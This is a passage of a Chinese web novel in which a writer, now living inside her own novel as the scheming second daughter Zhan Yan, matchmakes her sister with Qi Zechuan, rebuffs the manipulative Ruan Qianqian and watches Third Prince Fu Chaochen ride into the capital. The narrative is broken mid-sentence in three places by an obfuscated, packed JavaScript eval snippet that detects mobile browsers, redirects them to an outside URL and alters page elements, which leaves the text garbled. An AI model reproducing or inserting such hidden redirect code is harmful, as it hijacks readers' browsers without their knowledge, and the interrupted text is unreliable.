释了事情的原委,这事也就揭过去了。 展清梦对祁泽川的误会解除,两人的感情升温,反倒是恶女展颜落下一个不顾及手足情分,不分嫡庶尊卑的下场。 这次剧情点有了偏差,据展颜的观察,如今的展清梦好似还不知道茶馆说书这一事。 展颜一边吃着展清梦给她买的糖人,一边皱着眉头回忆着剧情。 展清梦和祁泽川还是有误会,但是起因却成了她展颜。 如今的祁泽川在展清梦的眼里就是一个令自家阿妹春心破碎的伪君子。 眼看着如意茶馆越来越近,展颜有些着急了,如今这局面该如何破。 算了,先让阿姐答应陪她去听书再说。 “咳咳。”展颜清了清嗓子,瞄了秋果一眼。 秋果会意,按着二姑娘先前教给她的话开演。 “姑娘你看,那茶馆里好像在说书啊!”秋果故意大声嚷嚷起来。 “对啊!看起来还很热闹!”展颜搭腔,指着如意茶馆道,“阿姐阿姐,我们去看看吧。” 展清梦闻言道:“你如今的身体状况——” “早就好了!”展颜打断她的话,在她面前撞了个圈圈,可谓是365°无死角的展示,“阿姐放心。” “那,那我们先去看一眼,若是累了阿姐就带你走。”展清梦终是抗不住展颜的请求,自家的妹妹这般可爱,让她如何拒绝。 这……就答应了? 展颜本来还想着要使出浑身解数,要是展清梦还不允,就直接耍赖了。哪里知道只是撒了一个小娇就成了。 这就是善良心软的圣母吗,自己的女主还是太全面了。 “风徐徐,月儿明,姜娘子站在屋门前正欲转身,只听身后传来一阵‘细簌’声响,再回头时——”说书人扇动着手里折扇,模仿风吹过枝叶的沙沙声,仿若身临其境。 “却是正对上了那人的一对明眸,竟是比那晚的月亮还要清澈些。”说书人停顿,茶馆里寂静无声,许是满意于众人的屏息凝视,他又继续开口道。 茶馆二楼左侧的雅间里,展颜坐在黄花梨木雕花椅上,悄悄观察着身侧展清梦的状态。 她正听得入迷,朱唇微微轻启,不曾察觉。 果然啊,春心萌动的小姑娘不论养在多么循规蹈矩的教条下,都爱听写风花雪月,鸳鸯成对的戏文。 别着急,展颜默默想着,嘴角渐渐难压,我为你安排的成对鸳鸯马上就来。 可等了好久,这“古代版有声书”都要讲完了,这个配对的鸳鸯还没有来。 展颜开始慌张,不住地将目光往大门瞟。 就在这时,期盼良久的身影终是出现了。展颜望见祁泽川迈步进了茶馆。 一身素衣,仙气飘飘。 展颜久皱的眉头松开,刚想松口气,可接下来看到的,令她吐出来的气口在半道生生截住,马上又吸回肺里。 祁泽川身后,一个同他一般高却略微劲瘦的少年跟着他进了门,一声暗绿色的衣服,发冠未束,走起路来,半披在身后的发尾一下一下轻拍着细腰。 展颜忍不住将嘴唇抿成一条线,怎么又是祁浮生,原著剧情里没有他啊,来凑什么热闹? 5. 醉花楼撮合计划2 祁家的两位公子被如意茶馆的掌柜带到了展颜她们隔壁的雅间里。 没错,这也是展颜事先安排好的。 她在进店的时候,就让秋果偷偷给掌柜塞了点银子,拿出藏在袖子里的祁泽川画像,让他只要见着这画上的男子,就带上来安置在隔壁。 有钱不拿是傻,商人逐利,掌柜自然答应得爽快。 这不,专门挑了间连在一起的雅间,且之间只用一层纱隔着,只闻其声,略见其影,说不出的朦朦胧胧之感。 展颜坐着,总觉得有束若有若无的目光在盯着自己。 她拿起搁置在桌上的绢扇,有一下没一下地扇着。 “阿颜是热吗?”展清梦注意到她的动作道。 “啊?”展颜闻言一愣发觉自己的动作,瞎掰了一个理由搪塞过去,“不热,我锻炼一下手腕子,嗯,锻炼一下,哈哈。” “阿姐继续听,不用管我。”展颜赔笑道,把扇子小心地又放回桌案上。 隔壁传来一声几不可闻的轻笑,但由于刻意收敛着,没人发现。 展颜面上风平浪静,心里却已经是乱成一锅粥。 本来想着祁泽川一个人来,她只需要在“有声书”快要结束时,促使两人相遇,一切也许都可以迎刃而解。 可偏偏祁泽川身后跟来了个小尾巴。 谁知道祁浮生葫芦里在卖什么药。展颜有点点担心,因为相比掌控剧情,祁浮生确实会比她厉害上一些。 但也只有一些些,展颜只能承认这么多,这是她的极限。 不知道他这次又要干扰到她哪一步。 二楼的雕花窗棂半开着,清风吹进些许,撩拨得薄纱泛起涟漪。 “两位客官。”茶馆店小二端着一盘糕点进了雅间,“这是隔壁客官送的,说是相逢一遭即是有缘。”语罢,便退了出去。 “相逢一遭即是有缘……”展清梦念叨着,唇角微起,“看来隔间也是性情中人。” 这是……又自我攻略了?还是听“有声书”听得上头,脑子都不转了? 啊? 剧情过得太快,展颜有点懵。 思考间,她余光瞄到碟子里其中一块糕点下好像压着一张纸条,见没有人注意到,她将纸条抽出,藏在袖子里,缓缓展开。 “我帮你,就当为上次赔不是。” 展颜看完纸条上的内容,默默将纸条重新叠起来,藏在袖子里,随后悄咪咪地回头,透过薄纱观察着其中一个人影。 没有束冠,应当就是祁浮生。 展颜斟酌一下,既然他如此诚心,也不是不可以相信他一次。 那就再给他一次机会,要是他还敢耍她,就没有下次了。 祁浮生好像就一直在等着展颜回头,看到她的影子动了动,直接打起了招呼。 薄纱上,映出一个摆动着手臂的人影。 展颜默默举起小手,向着他象征性地回应一下。 交接成功。 “人世间嘛,误会常有,只要是学会解开,就没有什么过不去的。”说书人讲完最后的一段念白,将手里的惊堂木一拍。 “欲知后事如何,请听下回分解。” “店家,结账。”展清梦招呼来店小二。 “不用了客官,隔壁的公子已经帮你们结完账了。”店小二边摸后脑勺边说。 展颜眨眨眼,振奋一下精神,准备开演。 有人将薄纱撩开,祁家的两位公子出现在展家两位姑娘的面前。 展清梦原先摆在脸上的谢意和好奇在看见祁泽川的那一瞬间一下子收起,换上一副冰冷面孔,期间还观察着展颜的情绪。 “展姑娘,好巧啊又遇见了,在下祁泽川有礼了。”祁泽川恭恭敬敬地作揖。 “祁大公子不必如此。”展清梦走到展颜的面前,回手轻轻拉过她,“今日的银钱我会差人送到贵府,先失陪了。” 语罢,展清梦就要带着展颜走。 你快说句话啊!展颜见祁浮生在一边一言不发,对着他挤眉弄眼。 祁浮生一脸你放心的表情回应她。 “且慢!” 只见祁泽川有些踌躇地伸手拦住了从二层前往楼下的唯一去路。 展清梦顿住脚步,展颜没有反应及时,一下撞在了展清梦身上,将人往前撞得直直踉跄了几步。 “大姑娘当心。”祁泽川轻轻扶住往前倾倒的展清梦,温声说道。 回过神来的展颜轻揉着撞疼的额角,看清眼前这一幕时也是愣住。 啊?她发誓她不是故意的! 但是没关系,效果好似出奇得好。 展清梦的神色微变,眼里闪过一丝慌乱,一时着急握在祁泽川手腕间的手瞬间松开,向后退了一步。 “祁大公子抱歉,刚才清梦一时无礼,还望见谅。”展清梦将双手握住,举在衣襟前缓缓行了一礼。 “无妨的无妨的。”祁泽川忙道,先前搀扶展清梦的手还摆在原地,没有收回。 “清梦看祁大公子也是无事,那便先带着家妹回府了。” 说罢,展清梦再一次拉起展颜的手。 哎呦真不错,会讲话了。 展颜一脸欣慰地看着二人之间一来一回的互动。本还沉浸在短暂微妙氛围里,却被展清梦猝不及防地拉过。 她故意向后使着力,拖延着步速。 你快说话啊!展颜见祁泽川又是一副像有万语千言却又不知道该不该开口的样子,原先孩子终于开窍的心情一下子烟消云散,甚是恼火。 眼见着展清梦就要下楼了。 你不说我说!展颜开口,结果刚喊出一声阿姐就被打断。 “展大姑娘留步。” 不同于兄长的爽朗声线,祁浮生说话的声音自带一种循循善诱的韵味。 展清梦停下脚步,回过头道:“祁公子可是还有什么闲事?” “大姑娘误会了。”祁浮生摆上一脸笑意。 “误会?何来的误会?” “今日是,前几日在武场亦是。” 祁浮生不慌不忙道:“大姑娘不忙可否听在下解释完,毕竟展祁两家是世交,在我们这辈折了也是不好,传出去怕是成了笑话。” 他看着展清梦的眼神里带着讨好,但是话里却藏刀。这理由,展清梦如何能拒绝。 好口才,展颜在心里默默给祁浮生点了一个赞。 小手在只有他二人可以看见的位置比了一个大拇指。 “事情就是如此,那日是浮生无意间失手弄碎了玉簪,二姑娘一时心急,想要去捡,长岁方受过惊,一时吓着了二姑娘,才会有那般场面。” 如意茶馆的圆桌边,展清梦和祁泽川对坐着。 祁浮生站着,说完了事情的原委。 “大姑娘若是不信,大可以过问令妹。”祁浮生道,看了同样站着的展颜一眼。 展颜见展清梦的视线回头落在了她身上,连忙点头表示肯定。 这番说辞展颜早就给展清梦说过一遍,可展清梦只当她是春心荡漾,误落情网,现如今这般一解释,也终是信了。 展清梦的手指尖捏着袖口,换下原先咄咄逼人的态势:“那真的是我误会了,清梦先向祁氏两位公子赔不是。” “展大姑娘倒是不用向我赔不是。”祁浮生道,“反倒是我大哥,被姑娘骂了伪君子,在府里苦恼了几日。若是要道歉,大姑娘还是同大哥单独说吧。” 展颜站在一旁听着,捕捉到祁浮生话里的意思,马上帮腔道:“对啊!阿姐你同祁大公子好好说,我就先走了。” 展颜说完果断跑下了楼,脚下像是生了风,那是片刻都不敢耽搁,生怕展清梦把自己留下来。 “哎,阿颜——” “那大哥,浮生也走了。” “哎,二弟——” 一时间,雅间里只剩下祁泽川和展清梦二人。 帷幔荡漾着,雅间里安静得可怕。 “大姑娘可要喝茶?”祁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只见祁浮生一脸无语地看着她,他右手的袖口还被展颜攥在手里,方才她劲使得太大,硬是把他外袍的右领口给扯乱了。 “哦,不好意思不好意思。”展颜噗嗤笑出声,赶紧松开手。 “展二姑娘真风流啊,知不知道你这么干要是被人瞧见了,是会被抓到衙门里吃板子的。”祁浮生将衣领整理好,嘴角微微勾起,皮笑肉不笑道。 “哎呀不是道过歉了嘛,再说了一个还没有及冠的小男孩有什么好看的。”展颜嘟囔着,自知理亏,声音越来越轻。 “什么?” “没什么。” 祁浮生见展颜故意不回答,还是决定放过她,岔开了话题。 “你前几日一直待在展府,我去了几次都没遇上,要不约个暗号,到时候要是遇到剧情点了也好讨论讨论。” “那……”展颜斟酌一下,“这样吧,展府和祁府离得不远,到时候以风筝为信,地点嘛……就定在香积寺的怀袖亭吧。” 展颜眼睛亮亮的,等着祁浮生的回应。 香积寺位于京城西郊的莲宜山,是有名的姻缘寺,平常只有零散香客,来往的人比较少。怀袖亭更是在香积寺后,风景绝佳但是隐蔽。 原书里香积寺后山是最后祁泽川领兵造反的秘密营地,安全非常,又离京城近来往便利,简直就是当下的不二之选。 祁浮生点头。 这时,有人从侧面的楼梯走上来,是店家小二。 刚迈步进了雅间,店小二就看见有好好椅子不坐,齐齐蹲在栏杆边上的二人,一时不知道该说什么,一愣神,脚下一顿,随后略带迟疑但是大声且谄媚地开口。 “二位客官可是不满意本店的椅子,可要——” 两人本来“监视”得目不转睛,属实是双双被吓到,立马蹲下回头对着店小二又慌又气。 “嘘——” 6. 扇你还不需要我动手 日光似金箔般捏碎,洒在展府的后院里,湖水清浅,水波荡漾,倒映着岸边交织成一片五彩的繁花和柳枝上刚抽出的新芽。 成群的红金色锦鲤在岸边来回游动着,衔食着不时被微风吹落的花瓣,像是要把那池湖水也染上几分春意。 湖畔一间亭子静立,本是一片春和景明,却从亭子里传来几声东倒西歪的叹息声。 展颜手里按着一本簿子,脑袋半靠在手肘上,手里原先握着的毛笔也是早已脱落,滚停在一旁。 她今日穿着一身鹅黄色的齐胸襦裙,裙摆轻盈,随着风轻轻摆动。发髻上点缀着几颗白珍珠,额间还点着一朵红艳小巧的花钿。 精致的五官本该是眉眼灵动,微微一笑如春日暖阳拂过心田,现下却拧巴在一起,苦得很。 “不行……”展颜活人微死地念叨着。 “这样改的话,逻辑又不通啊……祁泽川不买账。” 她苦恼地伸手想要揉头发,刚把手抬起就想到自己扎了发髻,又将手默默放下,改为锤击石桌。 怎么穿越了还要苦恼修改文章的事情啊! 展颜心里发出咆哮。 右手胡乱摸索几下,捉住了毛笔,展颜神情严肃地直起身子,不行不行,要振作起来,我可以的! …… 我不可以! 展颜提笔将簿子上的几条计划全部划掉,颓废地又趴下了。 原书里,接下来的剧情就是国子学的月试。 展颜记得,这次月试的考题是君子六艺里的“射”“书”和女子八雅的“琴”“诗”。 “展颜今年十六……展清梦十八……”展颜念叨着。 但是祁泽川已经二十二了,他不在国子学里念书,也就是说这次的剧情点里没有祁泽川。 展颜计划着,这次的主要任务是让展清梦的月试顺利进行,因为原书里的恶毒女二又给她善良的女主使绊子了。 展清梦的诗文是女弟子里最好的,相比上展清梦,展颜可是逊色许多,甚至可以说是一窍不通。 结果就是展清梦的文章被展颜的死党,太常寺卿之女阮芊芊调换,本说好了将展清梦的卷子换给展颜,阮芊芊却调换了自己的,拿了月试“诗”试的一甲。 展颜前去质问,却被阮芊芊几句话给忽悠了过去,相信她相信得一塌糊涂。 蠢呐! 嗯,展颜点点头,这个人得防。 她用笔将簿子上的“阮”字圈了起来。 有了一丝头绪,展颜的心情略微放松了些,开始哼起小曲。 远处庭院的石拱门小径处,秋果气喘吁吁地跑了进来。 “姑娘!” 展颜闻声回头。 秋果跑进亭子里,将手里的请柬向前递给展颜。 “姑娘,这是方才阮宅派人送来的,派来的下人说阮姑娘想念姑娘非常,请姑娘到宅上一叙。” 阮芊芊?真是想到什么来什么。 展颜轻叹口气,伸出手想要拿过秋果手里的请柬。 但秋果却将请柬一角捏得死死的,展颜尝试拉了几次都没有拿到手。 她疑惑抬头看向秋果,只见秋果一脸不情愿的怨怼模样。 “怎么啦?这么不开心?”展颜问到。 “姑娘,”秋果撅嘴,眼神触及展颜的目光又有些心虚似的,“您可不可以不要去阮宅啊。” 闻言,展颜眉尾微挑,有些好奇道:“这话怎么说?” 原书里展颜最大的死党就是阮芊芊,准确来说展颜自认为阮芊芊是她最好的手帕交。 之所以臭味相投,是因为两人都极其不喜欢展清梦。 可不同于展颜心里因为嫡庶关系渐渐对展清梦产生的怨恨情绪,阮芊芊可是太常寺卿阮志礼的嫡女,她讨厌展清梦纯纯就是因为展清梦太优秀了,处处都要压着她一头,她心里不服气。 这不!原书里的展颜可是被阮芊芊哄得团团转,又是帮着她进了只有三品以上官员子女才能入的国子学,还和她常常讨论该如何捉弄展清梦。 即使不止一次被阮芊芊当作替罪羔羊,还是屡教不改,认为这个世界上只有阮芊芊懂她。 明眼人都能看出来阮芊芊的私心,难怪秋果不喜她,也就只有原主还蒙蔽在其中。 秋果见自家姑娘没有在第一时间驳斥她,反而问起了她的想法,虽然有点不可思议,但现下姑娘可是真真好,秋果可不想再让姑娘受蒙蔽了。 “姑娘!你是不知道!方才阮芊芊的丫鬟来送请柬神气得跟什么似的,鼻孔都要朝天上去了,那语气跟命令似的。”秋果道。 “姑娘,老爷可是当今太傅,是真真的正一品!那太常寺卿也就是个五品官,如今把您这么不放在眼里,是个什么意思。” 秋果越讲越气。 真憋屈啊,该亲近的人不相信,不该相信的人却如此死心塌地,展颜摇摇头,原主也真是可怜之人必有可恨之处。 但是如今在这里的是她,展颜想到,那便将阮芊芊之前欠下的一点一点都尽数还回来。 “秋果。”展颜道,站起身。 “嗯?” “备马车。” “姑娘!您还要去受气啊!”秋果小手一摊,嘴角向下撇。 展颜见她这副表情,笑着用手指将她的嘴角向上一抬。 “不,姑娘这次带你去讨债!” 展府和阮宅离得有些远,展颜又故意在房里倒腾了些时间,因此当马车到达阮宅时,已经超过约定时间将近一个时辰了。 秋果先行跳下马车,将木梯摆好,小心翼翼地将展颜扶下。 展颜的脚步迟缓,略带虚浮之感,手里还拿着一块帕子,不时掩面咳几下。 “姑娘,你确定这样可以吗?我们不是来讨债的吗?为什么要将脸化得这般苍白,不显得没有气势吗?”秋果凑近自家姑娘小声连着问了好几个问题。 “咳咳……”展颜装模作样地咳嗽几声,回道,“秋果你还不懂,真正气人的不是吵架吵赢了,而是让对方觉得自己吃亏了还没有地方说理,你且等着看戏。” 展颜嘴角微挑,哇哦,这种内涵女反派的戏码好带感,这种知道剧情当面装傻的感觉更带感! 阮芊芊的丫鬟见展颜来了,不仅没有行礼,还张口就道:“展二姑娘何来的这般晚,嫡姑娘可要等得焦急了。” 语罢,沉着脸将她们两人带进了阮芊芊的院子。 “嫡姑娘,展家庶小姐来了。”丫鬟在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467508|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋门前喊了一声。 见屋里没有回应,丫鬟又大声叫了几遍,惹得周围经过的下人频频侧目。 “姑娘,她这不是欺负人吗。”秋果凑近展颜,轻轻拉着她的袖子,说话声里都带上了委屈的哭腔。 秋果记的姑娘最不喜欢别人在她前面提起嫡庶之分,现在阮家的人这般在她们面前惺惺作态,不就是为了让展颜难堪吗,她为自家姑娘感到难过。 “这才哪到哪,不用在意。”展颜反而安慰她道。 阮家的丫鬟堆起笑来转过身,像是突然想起来似的说道:“哎呀,真是不好意思展二姑娘,是奴婢疏忽大意了,连嫡姑娘现下在后院都忘记了,该打该打。” 丫鬟说着,做个样子般地在脸上轻拍几下。 正欲转身之际,丫鬟只觉得自己的右手手腕被捏起,随后手腕被带着,瞬间甩在了自己的右脸上,发出“啪”的一声轻响。 展颜动作快准狠,力道不大,但是要把丫鬟震慑住,已经足够了。 “你——”被打的丫鬟一时说不出话,只是捂住自己的脸颊,一脸不可置信地瞪着展颜。 “嗯?不好意思呀。”展颜先是做疑惑状,随后像是明白了的样子,又说道,“今日我身子虚,力气不够打不了人,可是刚才你说该打该打,那便只能先借着你的手来一下了。” 展颜说到这,停顿了一下,看着丫鬟渐渐颤抖的瞳仁。 “不用担心,别害怕,我下次会补回来的,你放心。对了,阮姑娘在后院是吧,那便快带我们去吧,可别让她等久了。”展颜说完,对着丫鬟眯起眼睛笑到。 那笑脸温柔,但在那丫鬟看来如今就像是夜里游荡的温柔鬼,瘆得慌。 “好好,展姑娘请跟奴婢来。”她有些哆嗦,能多快就有多快地将展颜带到了后院。 阮宅的后院里种了很多的翠竹,竹节比较细,应该是刚种没多久。 透过层层碧色,展颜望见阮芊芊坐姿随意,半靠在石案上,手里还端着一盏茶,偶尔小酌上几口,哪里有半点焦急的模样。 应是听见有人走来的动静,阮芊芊回首,在看见展颜时,嘴角的弧度细微上扬,一下子就成了一副思念非常的模样。 阮芊芊急忙站起,几小步走至展颜身前:“哎呀,展妹妹终于来啦,可是让姐姐等了好久,姐姐这心里着急得很,妹妹要是再不来,我就上门口等了。” 阮芊芊说得眉飞色舞,眉头微微皱起,一副嗔怪的娇俏模样。 她今日穿了一身玫红色的长裙,头上戴满金质的首饰。 我滴个乖乖,也不嫌头上重得慌,展颜心里感叹。 之前写这本书的时候,还在想展颜这个女二那浓妆艳抹的习惯该是从哪里学来的,为此她还苦恼了好久。现下看来,原书展颜的“师傅”就在这里了。 挺会演啊,难怪原主会被忽悠。 “妹妹还站着做什么,快坐。”阮芊芊笑着想要拉展颜的手。 展颜不着痕迹地将手往身后一背,用帕子掩住面,音色作态道:“阮姑娘还是离我远些,小心将病气传染给姑娘。” 伸出的手在空中一颤,阮芊芊闻言愣住,面色差了几分。 今日这展颜怎么好像有些不一样? 7. 闺蜜变敌蜜 氛围有些微妙,但阮芊芊只当是自己多想了,毕竟展颜先前那般没有脑子地对她死心塌地,怎会在顷刻间变了心思。 “展妹妹,先前拉你同去观看祁小将军回城那日,实在是人太多,这才不小心将妹妹挤下了湖里,之后妹妹发了高烧就一直待在府内,姐姐这边也是脱不开身,一直没有去看望妹妹,令妹妹寂寞了,妹妹不会生姐姐的气吧?” 阮芊芊一口气说了许多,身子微微前倾,一双眼眸水汪汪地睁着,试探着说道。 好经典的绿茶台词,展颜闻言面上不显,心里却早已是笑得花枝乱颤,这理由还真是冠冕堂皇。 不过……把她挤进湖里?展颜微微皱眉。 原书里,原主展颜落湖基本上可以算是整本小说的开头部分,她并没有过多详细着墨,甚至在她这个作者看来也是展颜自己未当心才落入湖里。 如今听到阮芊芊的这句话,展颜也是不免吃惊。 书里描绘的世界,即使是没有刻画过的片段也在因果之中,事情的缘起都有相关联的原因,或是在明面上又或是在暗地里向无法着墨的画卷之外延展。 展颜觉得这种感觉很奇妙,好似一切都有了真真的生命一般。 “妹妹?”阮芊芊见展颜没有回答唤道。 展颜眉眼一抬,嘴角噙着笑道:“阮姑娘说的是什么话,我怎么会计较这么一件小事呢。生病的这几日,秦家的姑娘,祁家的公子都来看过我,阿姐也是一直守在我身边,何来的寂寞一说。” 你以为你是我阳台上的哪朵花呀,还没有你就寂寞了。展颜心里想到,她说得隐晦,但展颜知道阮芊芊不笨能听懂。 果不其然,阮芊芊的表情肉眼可见的僵持了一瞬,随后立马又被她掩饰住。 “这……这样啊,那就好。”她边说边将桌上的茶壶拿起,放了一个杯盏在展颜面前,为她倒满。 客人是早早就来的,茶是聊天聊了一会儿了才倒的,展颜轻笑到,可真是不上心。 “既然妹妹身体不适,那姐姐便长话短说了。” “阮姑娘请说。”展颜笑眯眯地开口。 “好妹妹,三日后就是国子学的月试了,祭酒只说女弟子考的是‘琴’‘诗’,没有过多详细的指点,不知道妹妹可了解一二?”阮芊芊问道。 这是想要她泄露考题? “我也不知,恐没有办法与阮姑娘相交流了。” “怎么会!妹妹可是展太傅的女儿,这种事情只要想问,可不就是轻而易举的事吗?” 阮芊芊见展颜拒绝,说话的音调都高了一个度,急切起来。 要说她这是傻还是不傻呢?展颜憋嘴,不对,她这是把我当傻子耍。 况且不提展五德绝对不会告诉展颜考试内容,就算展颜知道了题目,告诉阮芊芊令其做了弊,到头来要罚也是罚到她展颜的头上,她阮芊芊倒是能够摘干净,全身而退。 展颜微笑不语。 阮芊芊见状,立马换了一条路线:“那便不提这事,好妹妹也知道,你那嫡女姐姐生来就压你一头,也压我一头,妹妹何不借机将自己的卷子同展清梦的卷子一换……” 阮芊芊没有把话讲完,展颜就故意装作听不懂的样子,摇了摇头。 展颜见阮芊芊闭上眼冷静,知道她心里一定已经被她的“愚蠢”给气炸了。 但是她越气,展颜就越高兴。 展颜故意等到阮芊芊组织好语言,正欲再次开口时,提前打断了她的话。 “哎?阮姑娘这是什么意思?展颜不知道阿姐何时有压我一头,清梦姐姐一直待我好得紧。”展颜道。 气吧,气不死你。 阮芊芊的话还没说出口,就被噎回嗓子眼里。 “你不是——” “不是什么?阮姑娘?” “你!”也是被展颜今日的反应激怒到了,阮芊芊来不及细想,怒气上头。 “咳咳咳。”展颜装咳,一张小脸苍白,“今日展颜身体不适,说的话许是冒犯到了阮姑娘,阮姑娘不会怪我吧?” 你说的话我还给你,和我比绿茶你还略逊一筹。 展颜站起身,说了这么多也是累了,阮芊芊要是好好想想也能明白她这是在与她划开界限的意思。 “阮姑娘看着脸色不太好,我就先不打扰你了,告辞。”说罢,展颜转身带着秋果往外走。 突然,展颜觉得身后有一阵劲风在向她靠近。 转过身,阮芊芊气急败坏地冲过来,被秋果拦住。 “你敢拦我!”阮芊芊瞪目,说着,就要挥起巴掌向着秋果脸上打去。 “你敢?” 展颜这一句话说得阴测测的,阮芊芊举起的手顿住,后脖颈上起了凉气。 “你想好,今日你这一巴掌下去,就看你明日还能不能站在这里,不用思考,我就是字面意思。”展颜笑道。 阮芊芊气得嘴唇都哆嗦了起来,不情不愿地将手放下。 “展颜,你今日是怎么回事,我不就是忙点没有去看你吗,至于和我这般置气!”阮芊芊道。 展颜将秋果揽至身后。 “是啊,阮姑娘是忙,忙着搬新宅嘛我知道。”展颜向四周打量一番,“看来爹爹上月给太常寺卿阮大人说的好话还挺好使,阮家这么快就能置办新宅了?” “展颜你什么意思。”阮芊芊不解。 不明白呀,算了不想装了。 “阮姑娘,有句古话叫‘成也萧何,败也萧何’,如今我展家可以令你阮家向上爬,也可以将阮家踢下去,明白吗?” “你——”阮芊芊被展颜骇到,伸出手指着她。 “哎。”展颜用手握住阮芊芊伸出来的手指,用力向下一压,“从来都是你求的我,所以,放尊重点。” “这院子里的竹子刚种的吧,根基不稳,不好看,要拔也只能一起拔,估计根都已经缠在一起了,你说对吧,阮姑娘?” 展颜话中有话地说了这么一句后,不等阮芊芊作出反应,带着秋果头也不回地离开了阮宅。 僵硬地站在院子里,看着展颜离开后半开着的院门,阮芊芊的拳头握紧,牙关紧闭。 展颜这是在警告她,如果她还是不安分就要将整个阮家……太荒谬了,这怎么可能。 下人见主子这般站着,一时拿不定主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467509|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,小心问道:“姑娘,那接下来?” “滚啊!拔了!把这些新种的竹子都拔了!” 从阮宅里胜利打赢第一场绿茶之战,一身爽利地走出来后,展颜为了慢慢消化这一份喜悦,没有选择乘坐马车,跟秋果走在京城街上,逛着。 “姑娘,你方才那样子真是太飒了!”秋果一脸钦佩。 “是吧,我其实还没有发挥好,再来一次肯定更解气。”展颜被秋果夸得嘴角难压。 “哪里!那阮家姑娘的脸都青了,那么多粉都压不住呢!” “那是,也不看看我是谁——哎呦!” 展颜自夸的话还未说完,突然被前方向两边退散的人群撞了一下肩膀,向后推了半步才稳住。 “这是……”展颜揉着撞疼的肩膀道,随着人群站到街道两侧。 “姑娘没事吧?都怪秋果忘记告诉姑娘了,今日是三皇子傅朝尘巡视诸省回京的日子,老爷今日也被圣上招进宫里去了。”秋果心疼地帮展颜揉着肩膀。 三皇子傅朝尘……傅朝尘! 展颜肩膀上的疼痛感顿时烟消云散,她控制着微微发麻的腿脚,拉着秋果猫着腰躲到了人群后面。 远远望着靠近城门那方的街道,渐渐可以听到马蹄越来越近的声响。 “姑娘你躲什么?”秋果见自家姑娘往后躲不解道。 躲什么?当然是保命了! 哦不对,傅朝尘现在还不认识我呢,躲早了…… 展颜尴尬地咳嗽一声,直起身子:“我,我觉得站后面比较安全。” “三皇子!看是三皇子!是那个解决了儋州大旱的三皇子!” 有人在人群里振臂高呼。 “三皇子回京啦!” “三皇子!” 越来越多的人应和道。 街道尽头,一支百余来人的骑队缓缓而来,闯进展颜的视线。 为首的男子身着紫金蟒袍,腰系玉带,胯下一匹通体雪白的西域良驹,熠熠生辉。 回京这般高调,也不怕功高盖主,展颜想到。 傅朝尘勒住缰绳,白马前蹄轻抬,发出一声长嘶,他放慢了队伍的行进速度。 展颜仔细观察着她书里的重要反派傅朝尘,阳光下,他轮廓分明的脸庞镀上一层金边,剑眉下的双眼如深潭般沉静。 三个主要的男角色都已经出场了啊。 傅朝尘表面上看上去温柔似水,体贴至极,但是背后的狼子野心,内心的冰冷,令人难以想象。 “三皇子殿下!三皇子殿下!” 一声尖声尖气,吊嗓子般的声音传来。 一个身着太监服饰的人从街道另一头着急忙慌地奔过来,急到头上的帽子都快跑掉了。 傅朝尘勒马停住,太监气喘吁吁地在马前停下。 “哎呀,殿下啊,您可真是骇到下人啦,先前不是找人跟殿下说是酉时进城,现下殿下为何提前至申时呀。”太监的语气小心翼翼。 “李公公,这是父皇的意思,还是本王那皇兄的意思。”傅朝尘面上了然地问。 “哎呦喂,殿下莫要为难杂家。”李公公闻言瑟缩。 8. 怀袖亭秘密见面 傅朝尘低头轻笑,三年了,三年前储君之争最阴暗的那一年,他作为三兄弟里最不受重用的皇子,被父皇选作巡使下放各州巡视。 表面上说是给他一个极好的机会去历练一番,可实际上就是为了削弱他在京的势力。 大皇子乃圣上发妻所生,虽发妻已逝但好歹旧情还在,二皇子身后有皇后母家的势力为其撑腰,也只有他傅朝尘的母亲是一个籍籍无名的低阶妃子,于侥幸之中生下他。 离京的这三年,大皇子与二皇子内斗,大皇子毕竟没有足够庇佑,心计又不足,于前年意外在寝殿活活烧死,太子之位自然落在了二皇子的头上。 傅朝尘自幼忍辱负重,蛰伏至深,被调遣离京三年,暗桩遍及各州,京城里的消息也能在第一时间知晓。 前几月,父皇身体渐渐衰弱,一些微末的权利已于悄然中转移到了二皇子的手里。 如今傅朝尘三年期满回京,早早便已经候在城门外,可他那二哥却来这么一出,摆明了是要给他一个下马威。 “李公公今日想要拦着本王,难不成是如今东宫的人,想要拦本王?”傅朝尘道,“本王还要前去寻父皇回告各州事宜,若是怠慢了,是你李公公负责,还是东宫里的那位负责。” 傅朝尘视线低垂,睨向李公公的目光锐利,带着警告之意。 这话说的,展颜咂舌,真有技术。 表面上是正正当当的示弱模样,但话里意味却丝毫不软弱,甚至在示威。 看来今日这般高调是为了引起城内百姓注意,引起舆论,也让皇宫里那位知晓他还有这般一个儿子。这种时候要是再低调,可不就是赶着给东宫的那位送人头吗。 这个人有点意思哈,铁定难搞。 展颜目不转睛地观察着傅朝尘的一举一动,可想到自己的结局心里就没由来地慌张。 不行,得找祁浮生聊聊,她看着傅朝尘总有一种自己小命难保的感觉。 